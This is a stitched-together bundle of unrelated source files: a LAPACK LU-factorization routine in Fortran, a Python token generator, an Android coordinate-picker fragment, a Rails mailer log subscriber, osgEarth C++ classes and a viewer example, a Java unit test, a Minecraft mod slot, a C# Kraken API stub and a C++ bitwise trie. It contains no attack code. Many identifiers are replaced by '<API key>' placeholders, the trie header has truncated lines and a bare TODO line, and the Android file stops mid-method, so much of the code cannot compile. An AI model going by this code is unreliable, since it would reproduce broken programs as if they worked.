SUBROUTINE SGETF2( M, N, A, LDA, IPIV, INFO )
*
* -- LAPACK routine (version 3.0) --
* Univ. of Tennessee, Univ. of California Berkeley, NAG Ltd.,
* Courant Institute, Argonne National Lab, and Rice University
* June 30, 1992
*
* .. Scalar Arguments ..
INTEGER INFO, LDA, M, N
* ..
* .. Array Arguments ..
INTEGER IPIV( * )
REAL A( LDA, * )
* ..
*
* Purpose
* =======
*
* SGETF2 computes an LU factorization of a general m-by-n matrix A
* using partial pivoting with row interchanges.
*
* The factorization has the form
* A = P * L * U
* where P is a permutation matrix, L is lower triangular with unit
* diagonal elements (lower trapezoidal if m > n), and U is upper
* triangular (upper trapezoidal if m < n).
*
* This is the right-looking Level 2 BLAS version of the algorithm.
*
* Arguments
* =========
*
* M (input) INTEGER
* The number of rows of the matrix A. M >= 0.
*
* N (input) INTEGER
* The number of columns of the matrix A. N >= 0.
*
* A (input/output) REAL array, dimension (LDA,N)
* On entry, the m by n matrix to be factored.
* On exit, the factors L and U from the factorization
* A = P*L*U; the unit diagonal elements of L are not stored.
*
* LDA (input) INTEGER
* The leading dimension of the array A. LDA >= max(1,M).
*
* IPIV (output) INTEGER array, dimension (min(M,N))
* The pivot indices; for 1 <= i <= min(M,N), row i of the
* matrix was interchanged with row IPIV(i).
*
* INFO (output) INTEGER
* = 0: successful exit
* < 0: if INFO = -k, the k-th argument had an illegal value
* > 0: if INFO = k, U(k,k) is exactly zero. The factorization
* has been completed, but the factor U is exactly
* singular, and division by zero will occur if it is used
* to solve a system of equations.
*
* =====================================================================
*
* .. Parameters ..
REAL ONE, ZERO
PARAMETER ( ONE = 1.0E+0, ZERO = 0.0E+0 )
* ..
* .. Local Scalars ..
INTEGER J, JP
* ..
* .. External Functions ..
INTEGER ISAMAX
EXTERNAL ISAMAX
* ..
* .. External Subroutines ..
EXTERNAL SGER, SSCAL, SSWAP, XERBLA
* ..
* .. Intrinsic Functions ..
INTRINSIC MAX, MIN
* ..
* .. Executable Statements ..
*
* Test the input parameters.
*
INFO = 0
IF( M.LT.0 ) THEN
INFO = -1
ELSE IF( N.LT.0 ) THEN
INFO = -2
ELSE IF( LDA.LT.MAX( 1, M ) ) THEN
INFO = -4
END IF
IF( INFO.NE.0 ) THEN
CALL XERBLA( 'SGETF2', -INFO )
RETURN
END IF
*
* Quick return if possible
*
IF( M.EQ.0 .OR. N.EQ.0 )
$ RETURN
*
DO 10 J = 1, MIN( M, N )
*
* Find pivot and test for singularity.
*
JP = J - 1 + ISAMAX( M-J+1, A( J, J ), 1 )
IPIV( J ) = JP
IF( A( JP, J ).NE.ZERO ) THEN
*
* Apply the interchange to columns 1:N.
*
IF( JP.NE.J )
$ CALL SSWAP( N, A( J, 1 ), LDA, A( JP, 1 ), LDA )
*
* Compute elements J+1:M of J-th column.
*
IF( J.LT.M )
$ CALL SSCAL( M-J, ONE / A( J, J ), A( J+1, J ), 1 )
*
ELSE IF( INFO.EQ.0 ) THEN
*
INFO = J
END IF
*
IF( J.LT.MIN( M, N ) ) THEN
*
* Update trailing submatrix.
*
CALL SGER( M-J, N-J, -ONE, A( J+1, J ), 1, A( J, J+1 ), LDA,
$ A( J+1, J+1 ), LDA )
END IF
10 CONTINUE
RETURN
*
* End of SGETF2
*
END
|
#!/usr/bin/python3
import sys
from pathlib import Path
list_scope_path = Path("./list_scope_tokens.txt")
keyword_bit = 13
list_scope_bit = 14
def main():
if len(sys.argv) < 2:
print("Error: Must specify an argument of either 'tokens' or 'emitters'!", file=sys.stderr)
return 1
list_scopes = set()
with list_scope_path.open('r') as f:
for line in f:
line = line.strip()
if line.startswith('#') or len(line) == 0:
continue
list_scopes.add(line)
max_kw_len = max( len(kw) for kw in list_scopes )
if sys.argv[1] == 'tokens':
t_id = (1 << (keyword_bit - 1)) | (1 << (list_scope_bit-1))
for t in sorted(list_scopes):
print(' {:<{width}} = 0x{:4X};'.format(t.upper(), t_id, width=max_kw_len))
t_id += 1
elif sys.argv[1] == 'emitters':
for t in sorted(list_scopes):
print(' {:<{width}} => T_{}(Lexeme);'.format('"' + t + '"', t.upper(), width = max_kw_len + 2))
else:
print("Error: Must specify an argument of either 'tokens' or 'emitters'!", file=sys.stderr)
return 1
return 0
if __name__ == '__main__':
sys.exit(main())
|
package com.faralot.core.ui.fragments;
import android.app.Activity;
import android.app.AlertDialog.Builder;
import android.app.Fragment;
import android.content.DialogInterface;
import android.content.DialogInterface.OnClickListener;
import android.content.Intent;
import android.os.Bundle;
import android.provider.MediaStore.Images.Media;
import android.support.v7.app.ActionBar;
import android.support.v7.app.AppCompatActivity;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.view.ViewGroup.LayoutParams;
import android.widget.Button;
import android.widget.EditText;
import android.widget.ImageButton;
import android.widget.ProgressBar;
import android.widget.TextView;
import com.faralot.core.App;
import com.faralot.core.R;
import com.faralot.core.R.drawable;
import com.faralot.core.R.id;
import com.faralot.core.R.layout;
import com.faralot.core.R.string;
import com.faralot.core.lib.LocalizationSystem;
import com.faralot.core.lib.LocalizationSystem.Listener;
import com.faralot.core.rest.model.Location;
import com.faralot.core.rest.model.location.Coord;
import com.faralot.core.ui.holder.LocalizationHolder;
import com.faralot.core.utils.Dimension;
import com.faralot.core.utils.Localization;
import com.faralot.core.utils.Util;
import com.orhanobut.dialogplus.DialogPlus;
import com.orhanobut.dialogplus.OnItemClickListener;
import com.squareup.okhttp.MediaType;
import com.squareup.okhttp.RequestBody;
import org.osmdroid.bonuspack.overlays.InfoWindow;
import org.osmdroid.bonuspack.overlays.MapEventsOverlay;
import org.osmdroid.bonuspack.overlays.MapEventsReceiver;
import org.osmdroid.util.GeoPoint;
import org.osmdroid.views.MapView;
import org.osmdroid.views.overlay.ItemizedIconOverlay;
import org.osmdroid.views.overlay.OverlayItem;
import java.io.File;
import java.util.ArrayList;
import retrofit.Callback;
import retrofit.Response;
import retrofit.Retrofit;
public class <API key> extends Fragment {
protected MapView mapView;
protected TextView latitude;
protected ProgressBar latitudeProgress;
protected TextView longitude;
protected ProgressBar longitudeProgress;
protected ImageButton submit;
private boolean forceZoom;
public <API key>() {
}
@Override
public final View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
View view = inflater.inflate(layout.<API key>, container, false);
initElements(view);
ActionBar actionBar = ((AppCompatActivity) getActivity()).getSupportActionBar();
if (actionBar != null) {
actionBar.setTitle(getString(string.find_coordinates));
}
onChoose();
return view;
}
private void initElements(View view) {
mapView = (MapView) view.findViewById(id.map);
latitude = (TextView) view.findViewById(id.result_lat);
latitudeProgress = (ProgressBar) view.findViewById(id.progress_latitude);
longitude = (TextView) view.findViewById(id.result_lon);
longitudeProgress = (ProgressBar) view.findViewById(id.progress_longitude);
Button back = (Button) view.findViewById(id.back);
back.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
clearResultLayout();
onChoose();
onChoose();
}
});
submit = (ImageButton) view.findViewById(id.submit);
submit.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
onSubmit();
}
});
}
private void generateContent(float lat, float lon) {
GeoPoint actPosition = new GeoPoint((double) lat, (double) lon);
Util.setMapViewSettings(mapView, actPosition, forceZoom);
ArrayList<OverlayItem> locations = new ArrayList<>(1);
OverlayItem actPositionItem = new OverlayItem(getString(string.here),
getString(string.my_position), actPosition);
actPositionItem.setMarker(Util.resizeDrawable(getResources()
.getDrawable(drawable.ic_marker_dark), getResources(), new Dimension(45, 45)));
locations.add(actPositionItem);
// Bonuspack
MapEventsOverlay mapEventsOverlay = new MapEventsOverlay(getActivity(),
new MapEventsReceiver() {
@Override
public boolean <API key>(GeoPoint geoPoint) {
InfoWindow.<API key>(mapView);
return true;
}
@Override
public boolean longPressHelper(GeoPoint geoPoint) {
InfoWindow.<API key>(mapView);
setResultLayout((float) geoPoint.getLatitude(), (float) geoPoint
.getLongitude());
return true;
}
});
mapView.getOverlays().add(0, mapEventsOverlay);
mapView.getOverlays().add(new ItemizedIconOverlay<>(getActivity(), locations, null));
}
protected final void onChoose() {
clearResultLayout();
forceZoom = true;
ArrayList<Localization> localizations = new ArrayList<>(4);
localizations.add(new Localization(drawable.ic_gps_dark, getString(string.gps_coordinates), Localization.GPS));
localizations.add(new Localization(drawable.ic_camera_dark, getString(string.coord_photo_exif), Localization.PIC_COORD));
localizations.add(new Localization(drawable.ic_manual_dark, getString(string.add_manual), Localization.MANUAL));
if (App.palsActive) {
localizations.add(new Localization(drawable.ic_pals_dark, getString(string.pals_provider), Localization.PALS));
}
DialogPlus dialog = DialogPlus.newDialog(getActivity())
.setAdapter(new LocalizationHolder(getActivity(), localizations))
.<API key>(new OnItemClickListener() {
@Override
public void onItemClick(DialogPlus dialog, Object item, View view, int position) {
Listener listener = new Listener() {
@Override
public void onComplete(Coord coord, boolean valid) {
if (valid) {
setResultLayout(coord.getLatitude(), coord.getLongitude());
}
}
};
dialog.dismiss();
if (position == 0) {
App.localization.getCoords(LocalizationSystem.GPS, listener);
} else if (position == 1) {
searchExif();
} else if (position == 2) {
searchManual();
} else if (position == 3) {
App.localization.getCoords(LocalizationSystem.PALS, listener);
}
}
})
.setContentWidth(LayoutParams.WRAP_CONTENT)
.setContentHeight(LayoutParams.WRAP_CONTENT)
.create();
dialog.show();
}
void searchManual() {
Builder alertDialog = new Builder(getActivity());
final View layout = getActivity().getLayoutInflater()
.inflate(R.layout.<API key>, null);
alertDialog.setView(layout);
alertDialog.setPositiveButton(getString(string.confirm), new OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
EditText latitude = (EditText) layout.findViewById(id.latitude);
EditText longitude = (EditText) layout.findViewById(id.longitude);
setResultLayout(Float.parseFloat(latitude.getText()
.toString()), Float.parseFloat(longitude.getText().toString()));
}
});
alertDialog.show();
}
void searchExif() {
Intent intent = new Intent(Intent.ACTION_PICK, Media.<API key>);
<API key>(intent, 0);
}
void setResultLayout(float lat, float lon) {
if (lat != 0 && lon != 0) {
submit.setVisibility(View.VISIBLE);
}
latitudeProgress.setVisibility(View.GONE);
latitude.setText(String.valueOf(lat));
longitudeProgress.setVisibility(View.GONE);
longitude.setText(String.valueOf(lon));
generateContent(lat, lon);
forceZoom = false;
}
private void clearResultLayout() {
submit.setVisibility(View.GONE);
latitudeProgress.setVisibility(View.VISIBLE);
latitudeProgress.setIndeterminate(true);
latitude.setText(null);
longitudeProgress.setVisibility(View.VISIBLE);
longitudeProgress.setIndeterminate(true);
longitude.setText(null);
}
protected final void onSubmit() {
float lat = Float.parseFloat(latitude.getText().toString());
float lon = Float.parseFloat(longitude.getText().toString());
if (lat != 0 && lon != 0) {
Fragment fragment = new LocationAddFragment();
Bundle bundle = new Bundle();
bundle.putFloat(Location.<API key>, lat);
bundle.putFloat(Location.<API key>, lon);
fragment.setArguments(bundle);
Util.changeFragment(null, fragment, id.frame_container, getActivity(), null);
} else {
Util.getMessageDialog(getString(string.no_valid_coords), getActivity());
}
}
/**
* Bild wird ausgesucht und uebergeben
*/
@Override
public final void onActivityResult(int requestCode, int resultCode, Intent data) {
if (requestCode == 0 && resultCode == Activity.RESULT_OK) {
String path = Util.getPathFromCamera(data, getActivity());
if (path != null) {
|
module RailsLog
class MailerSubscriber < ActiveSupport::LogSubscriber
def record(event)
payload = event.payload
log_mailer = Logged::LogMailer.new(message_object_id: payload[:message_object_id], mailer: payload[:mailer])
log_mailer.action_name = payload[:action_name]
log_mailer.params = payload[:params]
log_mailer.save
info 'mailer log saved!'
end
def deliver(event)
payload = event.payload
log_mailer = Logged::LogMailer.<API key>(message_object_id: payload[:message_object_id], mailer: payload[:mailer])
log_mailer.subject = payload[:subject]
log_mailer.sent_status = payload[:sent_status]
log_mailer.sent_string = payload[:sent_string]
log_mailer.mail_to = payload[:mail_to]
log_mailer.cc_to = payload[:cc_to]
log_mailer.save
info 'mailer log updated!'
end
end
end
RailsLog::MailerSubscriber.attach_to :action_mailer
|
#include <osgEarthFeatures/<API key>>
#include <limits>
using namespace osgEarth;
using namespace osgEarth::Features;
using namespace osgEarth::Symbology;
FeatureLevel::FeatureLevel( const Config& conf ) :
_minRange( 0.0f ),
_maxRange( FLT_MAX )
{
fromConfig( conf );
}
FeatureLevel::FeatureLevel( float minRange, float maxRange )
{
_minRange = minRange;
_maxRange = maxRange;
}
FeatureLevel::FeatureLevel( float minRange, float maxRange, const std::string& styleName )
{
_minRange = minRange;
_maxRange = maxRange;
_styleName = styleName;
}
void
FeatureLevel::fromConfig( const Config& conf )
{
conf.getIfSet( "min_range", _minRange );
conf.getIfSet( "max_range", _maxRange );
conf.getIfSet( "style", _styleName );
conf.getIfSet( "class", _styleName ); // alias
}
Config
FeatureLevel::getConfig() const
{
Config conf( "level" );
conf.addIfSet( "min_range", _minRange );
conf.addIfSet( "max_range", _maxRange );
conf.addIfSet( "style", _styleName );
return conf;
}
<API key>::<API key>( const Config& conf ) :
_tileSizeFactor( 15.0f ),
_minRange ( 0.0f ),
_maxRange ( 0.0f ),
_cropFeatures ( false ),
_priorityOffset( 0.0f ),
_priorityScale ( 1.0f ),
_minExpiryTime ( 0.0f )
{
fromConfig( conf );
}
void
<API key>::fromConfig( const Config& conf )
{
conf.getIfSet( "tile_size", _tileSize );
conf.getIfSet( "tile_size_factor", _tileSizeFactor );
conf.getIfSet( "crop_features", _cropFeatures );
conf.getIfSet( "priority_offset", _priorityOffset );
conf.getIfSet( "priority_scale", _priorityScale );
conf.getIfSet( "min_expiry_time", _minExpiryTime );
conf.getIfSet( "min_range", _minRange );
conf.getIfSet( "max_range", _maxRange );
ConfigSet children = conf.children( "level" );
for( ConfigSet::const_iterator i = children.begin(); i != children.end(); ++i )
addLevel( FeatureLevel( *i ) );
}
Config
<API key>::getConfig() const
{
Config conf( "layout" );
conf.addIfSet( "tile_size", _tileSize );
conf.addIfSet( "tile_size_factor", _tileSizeFactor );
conf.addIfSet( "crop_features", _cropFeatures );
conf.addIfSet( "priority_offset", _priorityOffset );
conf.addIfSet( "priority_scale", _priorityScale );
conf.addIfSet( "min_expiry_time", _minExpiryTime );
conf.addIfSet( "min_range", _minRange );
conf.addIfSet( "max_range", _maxRange );
for( Levels::const_iterator i = _levels.begin(); i != _levels.end(); ++i )
conf.add( i->second.getConfig() );
return conf;
}
void
<API key>::addLevel( const FeatureLevel& level )
{
_levels.insert( std::make_pair( -level.maxRange().get(), level ) );
}
unsigned
<API key>::getNumLevels() const
{
return _levels.size();
}
const FeatureLevel*
<API key>::getLevel( unsigned n ) const
{
unsigned i = 0;
for( Levels::const_iterator k = _levels.begin(); k != _levels.end(); ++k )
{
if ( n == i++ )
return &(k->second);
}
return 0L;
}
unsigned
<API key>::chooseLOD( const FeatureLevel& level, double fullExtentRadius ) const
{
double radius = fullExtentRadius;
unsigned lod = 1;
for( ; lod < 20; ++lod )
{
radius *= 0.5;
float lodMaxRange = radius * _tileSizeFactor.value();
if ( level.maxRange() >= lodMaxRange )
break;
}
return lod-1;
}
|
package de.riedquat.java.io;
import de.riedquat.java.util.Arrays;
import org.junit.Test;
import java.io.<API key>;
import java.io.<API key>;
import java.io.IOException;
import static de.riedquat.java.io.Util.copy;
import static de.riedquat.java.util.Arrays.EMPTY_BYTE_ARRAY;
import static org.junit.Assert.assertArrayEquals;
public class UtilTest {
@Test
public void <API key>() throws IOException {
assertCopies(EMPTY_BYTE_ARRAY);
}
@Test
public void copiesData() throws IOException {
assertCopies(Arrays.<API key>(10001));
}
private void assertCopies(final byte[] testData) throws IOException {
final <API key> in = new <API key>(testData);
final <API key> out = new <API key>();
copy(out, in);
assertArrayEquals(testData, out.toByteArray());
}
}
|
#include <string>
#include <osg/Notify>
#include <osg/Timer>
#include <osg/ShapeDrawable>
#include <osg/<API key>>
#include <osgGA/StateSetManipulator>
#include <osgGA/GUIEventHandler>
#include <osgViewer/Viewer>
#include <osgViewer/ViewerEventHandlers>
#include <osgEarth/GeoMath>
#include <osgEarth/GeoTransform>
#include <osgEarth/MapNode>
#include <osgEarth/TerrainEngineNode>
#include <osgEarth/Viewpoint>
#include <osgEarthUtil/EarthManipulator>
#include <osgEarthUtil/<API key>>
#include <osgEarthUtil/Controls>
#include <osgEarthUtil/ExampleResources>
#include <osgEarthAnnotation/AnnotationUtils>
#include <osgEarthAnnotation/LabelNode>
#include <osgEarthSymbology/Style>
using namespace osgEarth::Util;
using namespace osgEarth::Util::Controls;
using namespace osgEarth::Annotation;
#define D2R (osg::PI/180.0)
#define R2D (180.0/osg::PI)
namespace
{
/**
* Builds our help menu UI.
*/
Control* createHelp( osgViewer::View* view )
{
const char* text[] =
{
"left mouse :", "pan",
"middle mouse :", "rotate",
"right mouse :", "continuous zoom",
"double-click :", "zoom to point",
"scroll wheel :", "zoom in/out",
"arrows :", "pan",
"1-6 :", "fly to preset viewpoints",
"shift-right-mouse :", "locked panning",
"u :", "toggle azimuth lock",
"c :", "toggle perspective/ortho",
"t :", "toggle tethering",
"a :", "toggle viewpoint arcing",
"z :", "toggle throwing",
"k :", "toggle collision"
};
Grid* g = new Grid();
for( unsigned i=0; i<sizeof(text)/sizeof(text[0]); ++i )
{
unsigned c = i % 2;
unsigned r = i / 2;
g->setControl( c, r, new LabelControl(text[i]) );
}
VBox* v = new VBox();
v->addControl( g );
return v;
}
/**
* Some preset viewpoints to show off the setViewpoint function.
*/
static Viewpoint VPs[] = {
Viewpoint( "Africa", osg::Vec3d( 0.0, 0.0, 0.0 ), 0.0, -90.0, 10e6 ),
Viewpoint( "California", osg::Vec3d( -121.0, 34.0, 0.0 ), 0.0, -90.0, 6e6 ),
Viewpoint( "Europe", osg::Vec3d( 0.0, 45.0, 0.0 ), 0.0, -90.0, 4e6 ),
Viewpoint( "Washington DC", osg::Vec3d( -77.0, 38.0, 0.0 ), 0.0, -90.0, 1e6 ),
Viewpoint( "Australia", osg::Vec3d( 135.0, -20.0, 0.0 ), 0.0, -90.0, 2e6 ),
Viewpoint( "Boston", osg::Vec3d( -71.096936, 42.332771, 0 ), 0.0, -90, 1e5 )
};
/**
* Handler that demonstrates the "viewpoint" functionality in
* osgEarthUtil::EarthManipulator. Press a number key to fly to a viewpoint.
*/
struct <API key> : public osgGA::GUIEventHandler
{
<API key>( EarthManipulator* manip ) : _manip(manip) { }
bool handle( const osgGA::GUIEventAdapter& ea, osgGA::GUIActionAdapter& aa )
{
if ( ea.getEventType() == ea.KEYDOWN && ea.getKey() >= '1' && ea.getKey() <= '6' )
{
_manip->setViewpoint( VPs[ea.getKey()-'1'], 4.0 );
aa.requestRedraw();
}
return false;
}
osg::observer_ptr<EarthManipulator> _manip;
};
/**
* Handler to toggle "azimuth locking", which locks the camera's relative Azimuth
* while panning. For example, it can maintain "north-up" as you pan around. The
* caveat is that when azimuth is locked you cannot cross the poles.
*/
struct LockAzimuthHandler : public osgGA::GUIEventHandler
{
LockAzimuthHandler(char key, EarthManipulator* manip)
: _key(key), _manip(manip) { }
bool handle(const osgGA::GUIEventAdapter& ea, osgGA::GUIActionAdapter& aa)
{
if (ea.getEventType() == ea.KEYDOWN && ea.getKey() == _key)
{
bool lockAzimuth = _manip->getSettings()-><API key>();
_manip->getSettings()-><API key>(!lockAzimuth);
aa.requestRedraw();
return true;
}
return false;
}
void getUsage(osg::ApplicationUsage& usage) const
{
using namespace std;
usage.<API key>(string(1, _key), string("Toggle azimuth locking"));
}
char _key;
osg::ref_ptr<EarthManipulator> _manip;
};
/**
* Handler to toggle "viewpoint transtion arcing", which causes the camera to "arc"
* as it travels from one viewpoint to another.
*/
struct <API key> : public osgGA::GUIEventHandler
{
<API key>(char key, EarthManipulator* manip)
: _key(key), _manip(manip) { }
bool handle(const osgGA::GUIEventAdapter& ea, osgGA::GUIActionAdapter& aa)
{
if (ea.getEventType() == ea.KEYDOWN && ea.getKey() == _key)
{
bool arc = _manip->getSettings()-><API key>();
_manip->getSettings()-><API key>(!arc);
aa.requestRedraw();
return true;
}
return false;
}
void getUsage(osg::ApplicationUsage& usage) const
{
using namespace std;
usage.<API key>(string(1, _key), string("Arc viewpoint transitions"));
}
char _key;
osg::ref_ptr<EarthManipulator> _manip;
};
/**
* Toggles the projection matrix between perspective and orthographic.
*/
struct <API key> : public osgGA::GUIEventHandler
{
<API key>(char key, EarthManipulator* manip)
: _key(key), _manip(manip)
{
}
bool handle(const osgGA::GUIEventAdapter& ea, osgGA::GUIActionAdapter& aa)
{
if (ea.getEventType() == ea.KEYDOWN && ea.getKey() == _key)
{
if ( _manip->getSettings()->getCameraProjection() == EarthManipulator::PROJ_PERSPECTIVE )
_manip->getSettings()->setCameraProjection( EarthManipulator::PROJ_ORTHOGRAPHIC );
else
_manip->getSettings()->setCameraProjection( EarthManipulator::PROJ_PERSPECTIVE );
aa.requestRedraw();
return true;
}
return false;
}
void getUsage(osg::ApplicationUsage& usage) const
{
using namespace std;
usage.<API key>(string(1, _key), string("Toggle projection type"));
}
char _key;
osg::ref_ptr<EarthManipulator> _manip;
};
/**
* Toggles the throwing feature.
*/
struct <API key> : public osgGA::GUIEventHandler
{
<API key>(char key, EarthManipulator* manip)
: _key(key), _manip(manip)
{
}
bool handle(const osgGA::GUIEventAdapter& ea, osgGA::GUIActionAdapter& aa)
{
if (ea.getEventType() == ea.KEYDOWN && ea.getKey() == _key)
{
bool throwing = _manip->getSettings()->getThrowingEnabled();
_manip->getSettings()->setThrowingEnabled( !throwing );
aa.requestRedraw();
return true;
}
return false;
}
void getUsage(osg::ApplicationUsage& usage) const
{
using namespace std;
usage.<API key>(string(1, _key), string("Toggle throwing"));
}
char _key;
osg::ref_ptr<EarthManipulator> _manip;
};
/**
* Toggles the collision feature.
*/
struct <API key> : public osgGA::GUIEventHandler
{
<API key>(char key, EarthManipulator* manip)
: _key(key), _manip(manip)
{
}
bool handle(const osgGA::GUIEventAdapter& ea, osgGA::GUIActionAdapter& aa)
{
if (ea.getEventType() == ea.KEYDOWN && ea.getKey() == _key)
{
bool collision = _manip->getSettings()-><API key>();
_manip->getSettings()-><API key>( !collision );
aa.requestRedraw();
return true;
}
return false;
}
void getUsage(osg::ApplicationUsage& usage) const
{
using namespace std;
usage.<API key>(string(1, _key), string("Toggle collision avoidance"));
}
char _key;
osg::ref_ptr<EarthManipulator> _manip;
};
/**
* A simple simulator that moves an object around the Earth. We use this to
* demonstrate/test tethering.
*/
struct Simulator : public osgGA::GUIEventHandler
{
Simulator( osg::Group* root, EarthManipulator* manip, MapNode* mapnode, osg::Node* model)
: _manip(manip), _mapnode(mapnode), _model(model), _lat0(55.0), _lon0(45.0), _lat1(-55.0), _lon1(-45.0)
{
if ( !model )
{
_model = AnnotationUtils::createSphere( 250.0, osg::Vec4(1,.7,.4,1) );
}
_xform = new GeoTransform();
_xform->setTerrain(mapnode->getTerrain());
_pat = new osg::<API key>();
_pat->addChild( _model );
_xform->addChild( _pat );
_cam = new osg::Camera();
_cam->setRenderOrder( osg::Camera::NESTED_RENDER, 1 );
_cam->addChild( _xform );
Style style;
style.getOrCreate<TextSymbol>()->size() = 32.0f;
style.getOrCreate<TextSymbol>()->declutter() = false;
_label = new LabelNode(_mapnode, GeoPoint(), "Hello World", style);
_label->setDynamic( true );
_cam->addChild( _label );
root->addChild( _cam.get() );
}
bool handle(const osgGA::GUIEventAdapter& ea, osgGA::GUIActionAdapter& aa)
{
if ( ea.getEventType() == ea.FRAME )
{
double t = fmod( osg::Timer::instance()->time_s(), 600.0 ) / 600.0;
double lat, lon;
GeoMath::interpolate( D2R*_lat0, D2R*_lon0, D2R*_lat1, D2R*_lon1, t, lat, lon );
GeoPoint p( SpatialReference::create("wgs84"), R2D*lon, R2D*lat, 2500.0 );
double bearing = GeoMath::bearing(D2R*_lat1, D2R*_lon1, lat, lon);
_xform->setPosition( p );
_pat->setAttitude(osg::Quat(bearing, osg::Vec3d(0,0,1)));
_label->setPosition( p );
}
else if ( ea.getEventType() == ea.KEYDOWN && ea.getKey() == 't' )
{
_manip->getSettings()->setTetherMode(osgEarth::Util::EarthManipulator::<API key>);
_manip->setTetherNode( _manip->getTetherNode() ? 0L : _xform.get(), 2.0 );
Viewpoint vp = _manip->getViewpoint();
vp.setRange(5000);
_manip->setViewpoint(vp);
return true;
}
return false;
}
MapNode* _mapnode;
EarthManipulator* _manip;
osg::ref_ptr<osg::Camera> _cam;
osg::ref_ptr<GeoTransform> _xform;
osg::ref_ptr<osg::<API key>> _pat;
double _lat0, _lon0, _lat1, _lon1;
LabelNode* _label;
osg::Node* _model;
};
}
int main(int argc, char** argv)
{
osg::ArgumentParser arguments(&argc,argv);
if (arguments.read("--help") || argc==1)
{
OE_WARN << "Usage: " << argv[0] << " [earthFile] [--model modelToLoad]"
<< std::endl;
return 0;
}
osgViewer::Viewer viewer(arguments);
// install the programmable manipulator.
EarthManipulator* manip = new EarthManipulator();
viewer.<API key>( manip );
Control* help = createHelp(&viewer);
osg::Node* earthNode = MapNodeHelper().load( arguments, &viewer, help );
if (!earthNode)
{
OE_WARN << "Unable to load earth model." << std::endl;
return -1;
}
osg::Group* root = new osg::Group();
root->addChild( earthNode );
osgEarth::MapNode* mapNode = osgEarth::MapNode::findMapNode( earthNode );
if ( mapNode )
{
if ( mapNode )
manip->setNode( mapNode->getTerrainEngine() );
if ( mapNode->getMap()->isGeocentric() )
{
manip->setHomeViewpoint(
Viewpoint( osg::Vec3d( -90, 0, 0 ), 0.0, -90.0, 5e7 ) );
}
}
// user model?
osg::Node* model = 0L;
std::string modelFile;
if (arguments.read("--model", modelFile))
model = osgDB::readNodeFile(modelFile);
// Simulator for tethering:
viewer.addEventHandler( new Simulator(root, manip, mapNode, model) );
manip->getSettings()-><API key>().push_back( EarthManipulator::ACTION_PAN );
manip->getSettings()-><API key>().push_back( EarthManipulator::ACTION_GOTO );
// Set the minimum distance to something larger than the default
manip->getSettings()->setMinMaxDistance(5.0, manip->getSettings()->getMaxDistance());
viewer.setSceneData( root );
manip->getSettings()->bindMouse(
EarthManipulator::ACTION_EARTH_DRAG,
osgGA::GUIEventAdapter::LEFT_MOUSE_BUTTON,
osgGA::GUIEventAdapter::MODKEY_SHIFT );
manip->getSettings()-><API key>( true );
viewer.addEventHandler(new <API key>( manip ));
viewer.addEventHandler(new LockAzimuthHandler('u', manip));
viewer.addEventHandler(new <API key>('c', manip));
viewer.addEventHandler(new <API key>('a', manip));
viewer.addEventHandler(new <API key>('z', manip));
viewer.addEventHandler(new <API key>('k', manip));
viewer.getCamera()->setNearFarRatio(0.00002);
viewer.getCamera()-><API key>(-1.0f);
while(!viewer.done())
{
viewer.frame();
// simulate slow frame rate
//OpenThreads::Thread::microSleep(1000*1000);
}
return 0;
}
|
package com.darkona.adventurebackpack.inventory;
import com.darkona.adventurebackpack.common.<API key>;
import com.darkona.adventurebackpack.init.ModBlocks;
import com.darkona.adventurebackpack.item.<API key>;
import com.darkona.adventurebackpack.util.Utils;
import net.minecraft.entity.player.EntityPlayer;
import net.minecraft.item.Item;
import net.minecraft.item.ItemStack;
public class SlotBackpack extends <API key>
{
public SlotBackpack(<API key> inventory, int id, int x, int y)
{
super(inventory, id, x, y);
}
@Override
public boolean isItemValid(ItemStack stack)
{
return (!(stack.getItem() instanceof <API key>) && !(stack.getItem() == Item.getItemFromBlock(ModBlocks.blockBackpack)));
}
@Override
public void onPickupFromSlot(EntityPlayer p_82870_1_, ItemStack p_82870_2_)
{
super.onPickupFromSlot(p_82870_1_, p_82870_2_);
}
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace BitExAPI.Markets.Kraken.Requests
{
<summary>
https://api.kraken.com/0/private/TradeBalance
</summary>
public class RequestTradeBalance
{
}
}
/*Input:
aclass = asset class (optional):
currency (default)
asset = base asset used to determine balance (default = ZUSD)
Result: array of trade balance info
eb = equivalent balance (combined balance of all currencies)
tb = trade balance (combined balance of all equity currencies)
m = margin amount of open positions
n = unrealized net profit/loss of open positions
c = cost basis of open positions
v = current floating valuation of open positions
e = equity = trade balance + unrealized net profit/loss
mf = free margin = equity - initial margin (maximum margin available to open new positions)
ml = margin level = (equity / initial margin) * 100
*/
|
// BitWiseTrie.hpp
// Scissum
#ifndef BitWiseTrie_hpp
#define BitWiseTrie_hpp
#include <vector>
//#include <iostream>
#include <cstring>
#define <API key> 1
namespace scissum {
TODO: Add cache locality and allocation efficiency by pre allocating an array of nodes!!!!!
template <class _Key, class _Value>
class BitWiseTrie
{
public:
struct Node {
size_t childs[2];
_Value value;
Node()
{
childs[0] = 0;
childs[1] = 0;
}
};
BitWiseTrie()
{
d_nodes.resize(sizeof(_Key)*8+1);
for (size_t i = 0; i < sizeof(_Key)*8+1; ++i) {
d_zeroTable[i] = i;
}
}
Node const *node(size_t index) const
{
return &d_nodes[index];
}
Node const *roots(size_t lz) const
{
return &d_nodes[d_zeroTable[lz]];
}
Node *insert(_Key key)
{
int z = (key != 0?__builtin_clz(key):(sizeof(_Key) * 8));
size_t root = d_zeroTable[z];
int c = (sizeof(_Key) * 8) - z;
while (c
//std::cout << "A " << c << " = " << !!(key & (1 << c)) << ".\n";
size_t n = d_nodes[root].childs[!!(key & (1 << c))];
if (n == 0) {
break;
}
root = n;
}
while (c > 0) {
//std::cout << "B " << c << " = " << !!(key & (1 << c)) << ".\n";
size_t n = d_nodes.size();
d_nodes.push_back(Node());
d_nodes[root].childs[!!(key & (1 << c
root = n;
}
if (c == 0) {
//std::cout << "C = " << !!(key & 1) << ".\n";
size_t n = d_nodes.size();
d_nodes.push_back(Node());
d_nodes[root].childs[!!(key & 1)] = n;
return &d_nodes[n];
}
return &d_nodes[root];
}
private:
std::vector<Node> d_nodes;
size_t d_zeroTable[sizeof(_Key)*8+1];
};
}
#endif /* BitWiseTrie_hpp */
|
